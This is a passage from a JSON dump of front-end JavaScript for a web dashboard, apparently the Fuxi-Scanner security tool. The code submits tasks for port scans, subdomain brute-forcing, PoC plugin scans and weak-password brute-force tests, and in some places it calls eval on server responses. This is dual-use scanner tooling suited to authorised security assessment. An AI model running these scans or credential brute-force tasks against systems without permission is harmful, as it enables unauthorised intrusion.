!== 'warning') {\n            document.getElementById(\"report_download_html\").innerHTML=\"<a href=\\\"static/download/\" + e['html_url'] + \"\\\" target=\\\"view_window\\\"><button class=\\\"btn btn-primary btn-block\\\" type=\\\"button\\\">HTML</button></a>\";\n            document.getElementById(\"report_download_pdf\").innerHTML=\"<a href=\\\"static/download/\" + e['pdf_url'] + \"\\\" target=\\\"view_window\\\"><button class=\\\"btn btn-primary btn-block\\\" type=\\\"button\\\">PDF</button></a>\";\n        }\n    })\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/asset-management.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n\n    var demo1 = $('select[name=\"plugin_list\"]').bootstrapDualListbox();\n    var demo2 = $('select[name=\"auth_service_list\"]').bootstrapDualListbox();\n\n    $(\".asset-update\").click(function () {\n        const asset_name = $('[name=\"asset_name_edit\"]').val();\n        const asset_id = $('[name=\"asset_id_edit\"]').val();\n        const host_val = $('[name=\"asset_host_edit\"]').val();\n        const dept_name = $('[name=\"dept_name_edit\"]').val();\n        const admin_name = $('[name=\"admin_name_edit\"]').val();\n        const discover_option = $(\"input[type='checkbox']\").is(':checked');\n        if (!asset_name || !host_val || !dept_name) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/asset-management', {\n                \"asset_name\": asset_name,\n                \"asset_id\": asset_id,\n                \"host_val\": host_val,\n                \"dept_name\": dept_name,\n                \"admin_name\": admin_name,\n                \"discover_option\": discover_option,\n                \"source\": \"asset_update\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                            title: \"Updated successfully!\",\n                            text: \"\",\n                            type: \"success\",\n                            confirmButtonColor: \"#41b883\",\n                            confirmButtonText: \"ok\",\n                            closeOnConfirm: false\n                        },\n                        function(){\n                        location.href = \"/asset-management\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\"#asset-scan\").click(function () {\n        const taskname_val = $('[name=\"taskname_val\"]').val();\n        const plugin_val = $('[name=\"plugin_list\"]').val().join(\",\");\n        const recursion_val = $('[name=\"recursion_val\"]').val();\n        const target_val = $('[name=\"target_val\"]').val();\n        if (!taskname_val || !plugin_val || !target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/add-task', {\n                \"taskname_val\": taskname_val,\n                \"plugin_val\": plugin_val,\n                \"recursion_val\": recursion_val,\n                \"target_val\": target_val,\n                \"source\": \"asset\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/task-management\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\"#asset-auth-tasks\").click(function () {\n        const task_name = $('[name=\"auth_task_name\"]').val();\n        const target_list = $('[name=\"auth_target_list\"]').val();\n        const service_list = $('[name=\"auth_service_list\"]').val().join(\",\");\n        const username_list = $('[name=\"auth_username_list\"]').val();\n        const password_list = $('[name=\"auth_password_list\"]').val();\n        const args = $('[name=\"auth_args\"]').val();\n        const recursion = $('[name=\"auth_recursion\"]').val();\n        if (!task_name || !target_list || !service_list|| !username_list|| !password_list || !recursion) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/auth-tester', {\n                \"task_name\": task_name,\n                \"target_list\": target_list,\n                \"service_list\": service_list,\n                \"username_list\": username_list,\n                \"password_list\": password_list,\n                \"args\": args,\n                \"recursion\": recursion,\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/auth-tester-tasks\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction delete_asset(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n      title: \"Are you sure want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/asset-management',\n            data: data,\n            success: function() {\n                location.href = \"/asset-management\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}\n\nfunction asset_info(nid){\n    const data = {\n        \"edit\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/asset-management',\n        data: data,\n        dataType: 'json',\n        success: function(respond) {\n            const data  = eval(respond);\n            const asset_name = data.asset_name;\n            const dept_name = data.dept_name;\n            const admin_name = data.admin_name;\n            const asset_host = data.asset_host;\n            $('#asset_name_edit').val(asset_name);\n            $('#dept_name_edit').val(dept_name);\n            $('#admin_name_edit').val(admin_name);\n            $('#asset_host_edit').val(asset_host);\n            $('#asset_id_edit').val(nid);\n        },\n        error: function(xhr, type) {\n        }\n    });\n}\n\nfunction get_asset_host(nid){\n    const data = {\n        \"scan\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/asset-management',\n        data: data,\n        dataType: 'json',\n        success: function(respond) {\n            const data  = eval(respond);\n            const asset_host = data.asset_host;\n            $('#scan_target_list').val(asset_host);\n            $('#auth_target_list').val(asset_host);\n        },\n        error: function(xhr, type) {\n        }\n    });\n}\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/asset-services-list.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n    var demo1 = $('select[name=\"plugin_list\"]').bootstrapDualListbox();\n    $(\"#server-scan\").click(function () {\n        const taskname_val = $('[name=\"taskname_val\"]').val();\n        const plugin_val = $('[name=\"plugin_list\"]').val().join(\",\");\n        const recursion_val = $('[name=\"recursion_val\"]').val();\n        const target_val = $('[name=\"target_val\"]').val();\n        if (!taskname_val || !plugin_val || !target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/add-task', {\n                \"taskname_val\": taskname_val,\n                \"plugin_val\": plugin_val,\n                \"recursion_val\": recursion_val,\n                \"target_val\": target_val,\n                \"source\": \"asset\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/task-management\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction server_info(nid){\n    const data = {\n        \"info\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/asset-services',\n        data: data,\n        dataType: 'json',\n        success: function(result) {\n            $('#server_info').html(JSON.stringify(result, null, 4));\n        },\n        error: function(xhr, type) {\n\n        }\n    });\n}\n\nfunction selectAll()\n{\n    var allMails = document.getElementsByName(\"allSelect\")[0];\n    var mails = document.getElementsByName(\"select_id\");\n    if(allMails.checked)\n    {\n        for(var i = 0; i < mails.length; ++i)\n        {\n            mails[i].checked = true;\n        }\n    }\n    else\n        {\n            for(var i = 0; i < mails.length; ++i)\n            {\n                mails[i].checked = false;\n            }\n        }\n}\n\nfunction newScan() {\n    var select_list = [];\n    $(\"input[name='select_id']:checked\").each(function () {\n        select_list.push(this.value);\n    });\n    if(select_list.length === 0) {\n        swal(\"Warning\",\"Please select the target\", \"error\");\n    } else {\n        get_server_host(select_list)\n    }\n}\n\nfunction get_server_host(server_list){\n    $.post('/asset-services', {\n        \"server_list\": server_list.join(\",\"),\n        \"source\": \"server_scan\"\n    }, function (e) {\n        $('#scan_target_list').val(e);\n    });\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/auth-tester-tasks.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n});\n\nfunction get_target_host(nid){\n    $.post('/auth-tester-tasks', {\n        \"task_id\": nid,\n        \"source\": \"target_info\"\n            }, function (e) {\n        document.getElementById(\"target_info_data\").innerHTML=e;\n    })\n}\n\nfunction delete_task(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n      title: \"Are you sure want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/auth-tester-tasks',\n            data: data,\n            success: function() {\n                location.href = \"/auth-tester-tasks\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}\n\nfunction rescan_task(nid){\n    const data = {\n        \"rescan\": nid,\n    };\n    swal({\n      title: \"Are you sure want to rescan?\",\n      text: \"This will clear the scan result！\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Rescan\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/auth-tester-tasks',\n            data: data,\n            success: function() {\n                location.href = \"/auth-tester-tasks\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/checkbox.js",
    "content": "function selectAll()\n{\n    var allMails = document.getElementsByName(\"allSelect\")[0];\n    var mails = document.getElementsByName(\"select_id\");\n    if(allMails.checked)\n    {\n        for(var i = 0; i < mails.length; ++i)\n        {\n            mails[i].checked = true;\n        }\n    }\n    else\n        {\n            for(var i = 0; i < mails.length; ++i)\n            {\n                mails[i].checked = false;\n            }\n        }\n}\n\nfunction getAll() {\n    var select_list = [];\n    $(\"input[name='select_id']:checked\").each(function () {\n        select_list.push(this.value);\n    });\n    if(select_list.length === 0) {\n        swal(\"Warning\",\"Please select the target\", \"error\");\n    } else {\n        alert(select_list)\n    }\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/dashboard.js",
    "content": ""
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/new-asset.js",
    "content": "$(function () {\n    $(\"#newAsset\").click(function () {\n        const asset_name = $('[name=\"asset_name\"]').val();\n        const asset_host = $('[name=\"asset_host\"]').val();\n        const dept_name = $('[name=\"dept_name\"]').val();\n        const admin_name = $('[name=\"admin_name\"]').val();\n        const discover_option = $(\"input[type='checkbox']\").is(':checked');\n        if (!asset_name || !asset_host) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/new-asset', {\n                \"asset_name\": asset_name,\n                \"asset_host\": asset_host,\n                \"dept_name\": dept_name,\n                \"admin_name\": admin_name,\n                \"discover_option\": discover_option,\n                \"source\": \"new_asset\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/asset-management\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create asset!\", \"error\");\n                }\n            })\n        }\n    });\n});"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/new-auth-tester.js",
    "content": "$(function () {\n    var demo1 = $('select[name=\"service_list\"]').bootstrapDualListbox();\n\n    $(\"#newAuth\").click(function () {\n        const task_name = $('[name=\"task_name\"]').val();\n        const target_list = $('[name=\"target_list\"]').val();\n        const service_list = $('[name=\"service_list\"]').val().join(\",\");\n        const username_list = $('[name=\"username_list\"]').val();\n        const password_list = $('[name=\"password_list\"]').val();\n        const args = $('[name=\"args\"]').val();\n        const recursion = $('[name=\"recursion\"]').val();\n        if (!task_name || !target_list || !service_list|| !username_list|| !password_list || !recursion) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/auth-tester', {\n                \"task_name\": task_name,\n                \"target_list\": target_list,\n                \"service_list\": service_list,\n                \"username_list\": username_list,\n                \"password_list\": password_list,\n                \"args\": args,\n                \"recursion\": recursion,\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/auth-tester-tasks\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n});"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/new-scan.js",
    "content": "$(function () {\n    var demo1 = $('select[name=\"plugin_list\"]').bootstrapDualListbox();\n\n    $(\"#showConfig\").click(function () {\n        const taskname_val = $('[name=\"taskname_val\"]').val();\n        const plugin_val = $('[name=\"plugin_list\"]').val().join(\",\");\n        const recursion_val = $('[name=\"recursion_val\"]').val();\n        const target_val = $('[name=\"target_val\"]').val();\n        if (!taskname_val || !plugin_val || !target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/add-task', {\n                \"taskname_val\": taskname_val,\n                \"plugin_val\": plugin_val,\n                \"recursion_val\": recursion_val,\n                \"target_val\": target_val,\n                \"source\": \"scan_view\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Task added successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/task-management\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n});"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/plugin-management.js",
    "content": "function delete_plugin(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n            title: \"Are you sure you want to delete?\",\n            text: \"If you delete an item, it will be permanently lost\",\n            type: \"warning\",\n            showCancelButton: true,\n            confirmButtonColor: \"#DD6B55\",\n            confirmButtonText: \"Delete！\",\n            closeOnConfirm: false\n        },\n        function(){\n        $.ajax({\n            type: 'GET',\n            url: '/plugin-management',\n            data: data,\n            success: function() {\n                location.href = \"/plugin-management\";\n                },\n            error: function(xhr, type) {}\n        });\n    });\n}\n\nfunction plugin_info(nid){\n    const data = {\n        \"info\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/plugin-management',\n        data: data,\n        dataType: 'json',\n        success: function(result) {\n            $('#plugin_info').html(JSON.stringify(result, null, 4));\n        },\n        error: function(xhr, type) {\n\n        }\n    });\n}\n\n$('#sampleTable').DataTable();\nDropzone.autoDiscover = false;\n\n$(\".dropzone\").dropzone({\n    url: \"plugin-upload\",\n    init: function() {\n            this.on(\"complete\", function (data) {\n                const res = eval('(' + data.xhr.responseText + ')');\n                if (res.result === \"success\") {\n                    swal({\n                            title: \"Upload Completed\",\n                            text: \"\",\n                            type: \"success\",\n                            confirmButtonColor: \"#DD6B55\",\n                            confirmButtonText: \"OK\",\n                            closeOnConfirm: false\n                        },\n                        function(){\n                        location.href = \"/plugin-management\";\n                    });\n            } else {\n                    swal({\n                            title: \"Upload Error\",\n                            text: \"<p>Plugin Developer Guide: <a href=\\\"https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md\\\" target=\\\"view_window\\\">Pocsuite PoC </a></p>\",\n                            html: true,\n                            type: \"error\",\n                            confirmButtonColor: \"#DD6B55\",\n                            confirmButtonText: \"OK\",\n                            closeOnConfirm: false\n                        },\n                        function(){\n                        location.href = \"/plugin-management\";\n                    });\n                }\n            });\n        }\n    });"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/port-scanner.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n    setTimeout('reflush()',5000);\n\n    $(\".port-update\").click(function () {\n        const port_list = $('[name=\"edit_port_val\"]').val();\n        if (!port_list) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/advanced-option', {\n                \"port_list\": port_list,\n                \"source\": \"port_scan\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Updated successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/port-scanner\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\".new-scan\").click(function () {\n        const target_val = $('[name=\"target_val\"]').val();\n        const arguments_val = $('[name=\"arguments_val\"]').val();\n        const port_val = $('[name=\"port_val\"]').val();\n        if (!target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/port-scanner', {\n                \"target_val\": target_val,\n                \"arguments_val\": arguments_val,\n                \"port_val\": port_val,\n                \"source\": \"new_scan\"\n            }, function (e) {\n                if (e.result === 'success') {\n                    swal({\n                      title: \"Added Successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/port-scanner?scan_id=\" + e.scan_id;\n\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction reflush() {\n    var url = location.search;\n    var pre_result = document.getElementById('pre_result').innerHTML;\n    var url_re = url.indexOf(\"scan_id\");\n    var pre_re = pre_result.indexOf(\"nmap\");\n    if (url_re !== -1) {\n        if (pre_re === -1) {\n            window.location.reload();\n        }\n    }\n}\n\nfunction port_result(nid){\n    const data = {\n        \"result\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/port-scanner',\n        data: data,\n        success: function(result) {\n            $('#port_result').html(result);\n        },\n        error: function(xhr, type) {\n\n        }\n    });\n}\n\nfunction result_delete(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n      title: \"Are you sure you want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/port-scanner',\n            data: data,\n            success: function() {\n                location.href = \"/port-scanner\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/search.js",
    "content": "var demo1 = $('select[name=\"plugin_list\"]').bootstrapDualListbox();\nvar demo2 = $('select[name=\"auth_service_list\"]').bootstrapDualListbox();\n\n$(\".btn_select\").on(\"click\",function(){\n    var selects = document.getElementsByName(\"select_id\");\n    if($(this).attr(\"rel\")===\"select_all\"){\n        document.getElementById( \"btn_select\" ).rel = \"unselect_all\";\n        document.getElementById( \"btn_select\" ).innerHTML = \"Unselect All\";\n        for(var i = 0; i < selects.length; ++i)\n        {\n            selects[i].checked = true;\n        }\n    }else if($(this).attr(\"rel\")===\"unselect_all\"){\n        document.getElementById( \"btn_select\" ).rel = \"select_all\";\n        document.getElementById( \"btn_select\" ).innerHTML = \"Select All\";\n        for(var i = 0; i < selects.length; ++i)\n        {\n            selects[i].checked = false;\n        }\n    }\n});\n\n$(\"#asset-auth-tasks\").click(function () {\n    const task_name = $('[name=\"auth_task_name\"]').val();\n    const target_list = $('[name=\"auth_target_list\"]').val();\n    const service_list = $('[name=\"auth_service_list\"]').val().join(\",\");\n    const username_list = $('[name=\"auth_username_list\"]').val();\n    const password_list = $('[name=\"auth_password_list\"]').val();\n    const args = $('[name=\"auth_args\"]').val();\n    const recursion = $('[name=\"auth_recursion\"]').val();\n    if (!task_name || !target_list || !service_list|| !username_list|| !password_list || !recursion) {\n        swal(\"Warning\",\"Please check the input!\", \"error\");\n    } else {\n        $.post('/auth-tester', {\n            \"task_name\": task_name,\n            \"target_list\": target_list,\n            \"service_list\": service_list,\n            \"username_list\": username_list,\n            \"password_list\": password_list,\n            \"args\": args,\n            \"recursion\": recursion,\n        }, function (e) {\n            if (e === 'success') {\n                swal({\n                  title: \"Task added successfully!\",\n                  text: \"\",\n                  type: \"success\",\n                  confirmButtonColor: \"#41b883\",\n                  confirmButtonText: \"ok\",\n                  closeOnConfirm: false\n                },\n                function(){\n                  location.href = \"/auth-tester-tasks\";\n                });\n            } else {\n                swal(\"Warning\",\"Failed to create task!\", \"error\");\n            }\n        })\n    }\n});\n\n$(\"#server-scan\").click(function () {\n    const taskname_val = $('[name=\"taskname_val\"]').val();\n    const plugin_val = $('[name=\"plugin_list\"]').val().join(\",\");\n    const recursion_val = $('[name=\"recursion_val\"]').val();\n    const target_val = $('[name=\"target_val\"]').val();\n    if (!taskname_val || !plugin_val || !target_val) {\n        swal(\"Warning\",\"Please check the input!\", \"error\");\n    } else {\n        $.post('/add-task', {\n            \"taskname_val\": taskname_val,\n            \"plugin_val\": plugin_val,\n            \"recursion_val\": recursion_val,\n            \"target_val\": target_val,\n            \"source\": \"asset\",\n        }, function (e) {\n            if (e === 'success') {\n                swal({\n                  title: \"Task added successfully!\",\n                  text: \"\",\n                  type: \"success\",\n                  confirmButtonColor: \"#41b883\",\n                  confirmButtonText: \"ok\",\n                  closeOnConfirm: false\n                },\n                function(){\n                  location.href = \"/task-management\";\n                });\n            } else {\n                swal(\"Warning\",\"Failed to create task!\", \"error\");\n            }\n        })\n    }\n});\n\nfunction newServiceScan() {\n    var select_list = [];\n    $(\"input[name='select_id']:checked\").each(function () {\n        select_list.push(this.value);\n    });\n    if(select_list.length === 0) {\n        swal(\"Warning\",\"Please select the target\", \"error\");\n    } else {\n        $('#scan_target_list').val(select_list.join(\"\\n\"))\n    }\n}\n\nfunction newAuthTester() {\n    var select_list = [];\n    $(\"input[name='select_id']:checked\").each(function () {\n        select_list.push(this.value);\n    });\n    if(select_list.length === 0) {\n        swal(\"Warning\",\"Please select the target\", \"error\");\n    } else {\n        $('#auth_target_list').val(select_list.join(\"\\n\"))\n    }\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/settings.js",
    "content": "$(function () {\n    $(\".update-thread-config\").click(function () {\n        const poc_thread = $('[id=\"poc_thread\"]').val();\n        const discovery_thread = $('[id=\"discovery_thread\"]').val();\n        const subdomain_thread = $('[id=\"subdomain_thread\"]').val();\n        const port_thread = $('[id=\"port_thread\"]').val();\n        const auth_tester_thread = $('[id=\"auth_tester_thread\"]').val();\n        const discovery_time = $('[name=\"discovery_time_val\"]').val();\n        if (!poc_thread || !discovery_thread || !subdomain_thread || !port_thread || !discovery_time) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/advanced-option', {\n                \"poc_thread\": poc_thread,\n                \"discovery_thread\": discovery_thread,\n                \"subdomain_thread\": subdomain_thread,\n                \"port_thread\": port_thread,\n                \"auth_tester_thread\": auth_tester_thread,\n                \"discovery_time\": discovery_time,\n                \"source\": \"thread_settings\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Updated Successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/advanced-option\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\".update-subdomain-dict-config\").click(function () {\n        const subdomain_dict_2 = $('[id=\"subdomain_dict_2\"]').val();\n        const subdomain_dict_3 = $('[id=\"subdomain_dict_3\"]').val();\n        if (!subdomain_dict_2 || !subdomain_dict_3) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/advanced-option', {\n                \"subdomain_dict_2\": subdomain_dict_2,\n                \"subdomain_dict_3\": subdomain_dict_3,\n                \"source\": \"subdomain_dict\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Successfully Update!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/advanced-option\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\".update-user-passwd\").click(function () {\n        const username_list = $('[id=\"username_list\"]').val();\n        const password_list = $('[id=\"password_list\"]').val();\n        if (!username_list || !password_list) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/advanced-option', {\n                \"username_list\": username_list,\n                \"password_list\": password_list,\n                \"source\": \"auth\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Successfully Update!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/advanced-option\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\".update-port-config\").click(function () {\n        const port_list = $('[id=\"port_list\"]').val();\n        if (!port_list) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/advanced-option', {\n                \"port_list\": port_list,\n                \"source\": \"port_list\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Updated Successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/advanced-option\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n\n});\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/subdomain-brute.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n    var demo1 = $('select[name=\"plugin_list\"]').bootstrapDualListbox();\n\n    $(\"#new_domain\").click(function () {\n        const domain_name_val = $('[name=\"domain_name_val\"]').val();\n        const domain_val = $('[name=\"domain_val\"]').val();\n        const third_domain = $(\"input[type='checkbox']\").is(':checked');\n        if (!domain_name_val || !domain_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/subdomain-brute', {\n                \"domain_name_val\": domain_name_val,\n                \"domain_val\": domain_val,\n                \"third_domain\": third_domain,\n                \"source\": \"new_domain\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Successfully Created!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/subdomain-brute\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\"#domain-scan\").click(function () {\n        const taskname_val = $('[name=\"taskname_val\"]').val();\n        const plugin_val = $('[name=\"plugin_list\"]').val().join(\",\");\n        const recursion_val = $('[name=\"recursion_val\"]').val();\n        const target_val = $('[name=\"target_val\"]').val();\n        if (!taskname_val || !plugin_val || !target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/add-task', {\n                \"taskname_val\": taskname_val,\n                \"plugin_val\": plugin_val,\n                \"recursion_val\": recursion_val,\n                \"target_val\": target_val,\n                \"source\": \"subdomain\",\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Successfully Created!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/task-management\";\n                    });\n                } else {\n                    swal(\"Warning\",\"Failed to create task!\", \"error\");\n                }\n            })\n        }\n    });\n\n    $(\"#awvs-scan\").click(function () {\n        const task_name = $('[name=\"awvs_task_name\"]').val();\n        const target_addr = $('[name=\"awvs_target\"]').val();\n        const scan_type = $('[name=\"awvs_scan_type\"]').val();\n        const description_val = $('[name=\"awvs_desc_val\"]').val();\n        if (!task_name || !target_addr || !scan_type) {\n            swal(\"Warning\", \"Please check the input!\", \"error\");\n        } else {\n            $.post('/acunetix-scanner', {\n                \"task_name\": task_name,\n                \"target_addr\": target_addr,\n                \"scan_type\": scan_type,\n                \"description_val\": description_val,\n                \"source\": \"new_scan\"\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                            title: \"Task added successfully!\",\n                            text: \"\",\n                            type: \"success\",\n                            confirmButtonColor: \"#41b883\",\n                            confirmButtonText: \"ok\",\n                            closeOnConfirm: false\n                        },\n                        function () {\n                            location.href = \"/acunetix-scanner\";\n                        });\n                } else {\n                    swal(\"Error\", \"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction delete_domain(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n            title: \"Are you sure you want to delete?\",\n            text: \"If you delete an item, it will be permanently lost\",\n            type: \"warning\",\n            showCancelButton: true,\n            confirmButtonColor: \"#DD6B55\",\n            confirmButtonText: \"Delete！\",\n            closeOnConfirm: false\n        },\n        function(){\n        $.ajax({\n            type: 'GET',\n            url: '/subdomain-brute',\n            data: data,\n            success: function() {\n                location.href = \"/subdomain-brute\";\n                },\n            error: 